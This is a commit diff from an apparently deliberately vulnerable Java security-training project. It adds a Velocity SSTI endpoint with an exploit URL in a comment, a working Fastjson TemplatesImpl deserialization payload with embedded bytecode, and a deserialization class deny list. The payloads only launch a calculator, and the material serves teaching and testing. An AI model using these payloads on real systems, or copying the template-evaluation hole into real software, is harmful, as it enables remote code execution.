Skip to content

Commit 839f532

Browse files
committed
Add ssti & resolveClass blacklist
1 parent cc94639 commit 839f532

File tree

10 files changed

+139
-7
lines changed

10 files changed

+139
-7
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ Sort by letter.
2929
- [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java)
3030
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
3131
- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
32+
- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java)
3233
- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java)
3334
- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java)
3435
- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)

README_zh.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@
2626
- [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java)
2727
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
2828
- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
29+
- [SSTI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java)
2930
- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java)
3031
- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java)
3132
- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)

java-sec-code.iml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -180,5 +180,6 @@
180180
<orderEntry type="library" name="Maven: org.mybatis.spring.boot:mybatis-spring-boot-autoconfigure:1.3.2" level="project" />
181181
<orderEntry type="library" name="Maven: org.mybatis:mybatis:3.4.6" level="project" />
182182
<orderEntry type="library" name="Maven: org.mybatis:mybatis-spring:1.3.2" level="project" />
183+
<orderEntry type="library" name="Maven: org.apache.velocity:velocity:1.7" level="project" />
183184
</component>
184185
</module>

pom.xml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -177,6 +177,13 @@
177177
<version>1.3.2</version>
178178
</dependency>
179179

180+
<!-- ssti -->
181+
<dependency>
182+
<groupId>org.apache.velocity</groupId>
183+
<artifactId>velocity</artifactId>
184+
<version>1.7</version>
185+
</dependency>
186+
180187
</dependencies>
181188

182189
<dependencyManagement>

src/main/java/org/joychou/controller/Fastjson.java

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.JSONObject;
5+
import com.alibaba.fastjson.parser.Feature;
56
import org.springframework.stereotype.Controller;
67
import org.springframework.web.bind.annotation.RequestBody;
78
import org.springframework.web.bind.annotation.RequestMapping;
@@ -29,9 +30,10 @@ public static String Deserialize(@RequestBody String params) {
2930
}
3031
}
3132

32-
public static void main(String[] args){
33-
String str = "{\"name\": \"fastjson\"}";
34-
JSONObject jo = JSON.parseObject(str);
35-
System.out.println(jo.get("name")); // fastjson
33+
public static void main(String[] args) {
34+
35+
// Open calc in mac
36+
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
37+
JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
3638
}
3739
}
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
package org.joychou.controller;
2+
3+
4+
import org.apache.velocity.VelocityContext;
5+
import org.springframework.web.bind.annotation.GetMapping;
6+
import org.springframework.web.bind.annotation.RequestMapping;
7+
import org.springframework.web.bind.annotation.RestController;
8+
9+
import org.apache.velocity.app.Velocity;
10+
11+
import java.io.StringWriter;
12+
13+
@RestController
14+
@RequestMapping("/ssti")
15+
public class SSTI {
16+
17+
/**
18+
* SSTI of Java velocity.
19+
* Open a calculator in MacOS.
20+
* http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
21+
*
22+
* @param template exp
23+
*/
24+
@GetMapping("/velocity")
25+
private static void velocity(String template){
26+
Velocity.init();
27+
28+
VelocityContext context = new VelocityContext();
29+
30+
context.put("author", "Elliot A.");
31+
context.put("address", "217 E Broadway");
32+
context.put("phone", "555-1337");
33+
34+
StringWriter swOut = new StringWriter();
35+
Velocity.evaluate(context, swOut, "test", template);
36+
}
37+
}

src/main/java/org/joychou/controller/Test.java

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
import org.springframework.web.bind.annotation.ResponseBody;
66

77
import javax.servlet.http.Cookie;
8+
import javax.servlet.http.HttpServletRequest;
89
import javax.servlet.http.HttpServletResponse;
910

1011
@Controller
@@ -13,8 +14,9 @@ public class Test {
1314

1415
@RequestMapping(value = "/")
1516
@ResponseBody
16-
private String Index(HttpServletResponse response) {
17+
private String Index(HttpServletResponse response, String empId) {
1718

19+
System.out.println(empId);
1820
Cookie cookie = new Cookie("XSRF-TOKEN", "123");
1921
cookie.setDomain("taobao.com");
2022
cookie.setMaxAge(-1); // forever time

src/main/java/org/joychou/mapper/UserMapper.java

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,10 @@
88
@Mapper
99
public interface UserMapper {
1010

11-
// If using simple sql, we can use annotation.
11+
/**
12+
* If using simple sql, we can use annotation. Such as @Select @Update.
13+
* If using ${username}, application will send a error.
14+
*/
1215
@Select("select * from users where username = #{username}")
1316
User findByUserName(@Param("username") String username);
1417

Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
package org.joychou.security;
2+
3+
import org.slf4j.Logger;
4+
import org.slf4j.LoggerFactory;
5+
6+
import java.io.*;
7+
8+
/**
9+
* RASP:Hook java/io/ObjectInputStream类的resolveClass方法
10+
* RASP: https://github.com/baidu/openrasp/blob/master/agent/java/engine/src/main/java/com/baidu/openrasp/hook/DeserializationHook.java
11+
*
12+
* Run main method to test.
13+
*/
14+
public class AntObjectInputStream extends ObjectInputStream {
15+
16+
private final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class);
17+
18+
public AntObjectInputStream(InputStream inputStream) throws IOException {
19+
super(inputStream);
20+
}
21+
22+
/**
23+
* 只允许反序列化SerialObject class
24+
*
25+
* 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。
26+
* 类似fastjson通用类的反序列化就不能校验。
27+
* 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。
28+
*
29+
*/
30+
@Override
31+
protected Class<?> resolveClass(final ObjectStreamClass desc)
32+
throws IOException, ClassNotFoundException
33+
{
34+
String className = desc.getName();
35+
36+
// Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
37+
logger.info("Deserialize class name: " + className);
38+
39+
String[] denyClasses = {"java.net.InetAddress", "org.apache.commons.collections.Transformer"};
40+
41+
for (String denyClass : denyClasses) {
42+
if (className.startsWith(denyClass)) {
43+
throw new InvalidClassException("Unauthorized deserialization attempt", className);
44+
}
45+
}
46+
47+
return super.resolveClass(desc);
48+
}
49+
50+
public static void main(String args[]) throws Exception{
51+
// 定义myObj对象
52+
MyObject myObj = new MyObject();
53+
myObj.name = "world";
54+
55+
// 创建一个包含对象进行反序列化信息的/tmp/object数据文件
56+
FileOutputStream fos = new FileOutputStream("/tmp/object");
57+
ObjectOutputStream os = new ObjectOutputStream(fos);
58+
59+
// writeObject()方法将myObj对象写入/tmp/object文件
60+
os.writeObject(myObj);
61+
os.close();
62+
63+
// 从文件中反序列化obj对象
64+
FileInputStream fis = new FileInputStream("/tmp/object");
65+
AntObjectInputStream ois = new AntObjectInputStream(fis); // AntObjectInputStream class
66+
67+
//恢复对象即反序列化
68+
MyObject objectFromDisk = (MyObject)ois.readObject();
69+
System.out.println(objectFromDisk.name);
70+
ois.close();
71+
}
72+
73+
static class MyObject implements Serializable {
74+
public String name;
75+
}
76+
}
77+
78+

src/main/resources/application.properties

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ joychou.security.referer.uri = /jsonp/**
2424
# csrf token check
2525
joychou.security.csrf.enabled = true
2626
# URI without CSRF check (only support ANT url format)
27-
joychou.security.csrf.exclude.url = /xxe/**, /fastjon/**
27+
joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**
2828
# method for CSRF check
2929
joychou.security.csrf.method = POST
3030
### csrf configuration ends ###

0 commit comments

Comments
 (0)